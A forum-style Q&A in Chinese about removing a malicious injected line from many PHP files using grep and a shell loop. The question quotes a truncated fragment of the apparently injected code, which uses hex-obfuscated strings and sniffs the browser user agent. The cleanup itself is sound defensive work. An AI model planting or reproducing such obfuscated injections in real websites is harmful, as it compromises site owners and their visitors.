我想写一个sed脚本来搜索这个模式并删除它。但是，无论我写什么，最终由于某些特殊字符而失败。有没有办法将其作为字符串文字搜索并替换为空？

到目前为止我尝试的是：

sed -i 's/<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1;

你可以这样做：

首先将字符串放入文件（remove.txt），然后运行以下代码：

echo "$(grep -vFf remove.txt phpmainfile.php)" >phpmainfile.php

这将覆盖phpmainfile.php。要检查它是否有效，请将输出转储到另一个文件中，或省略重定向以在stdout上打印或进行备份。

如果你想以递归方式执行此操作，那么你可以使用for循环来处理每个文件，如下所示：

for file in folderpath/*.php;do
echo "$(grep -vFf remove.txt "$file")" >"$file"
done

如果你想在子目录中递归地执行此操作，那么：

shopt -s globstar
for file in folderpath/*.php folderpath/**/*.php;do
...

从MANY文件中删除特定（复杂）行（sed？）
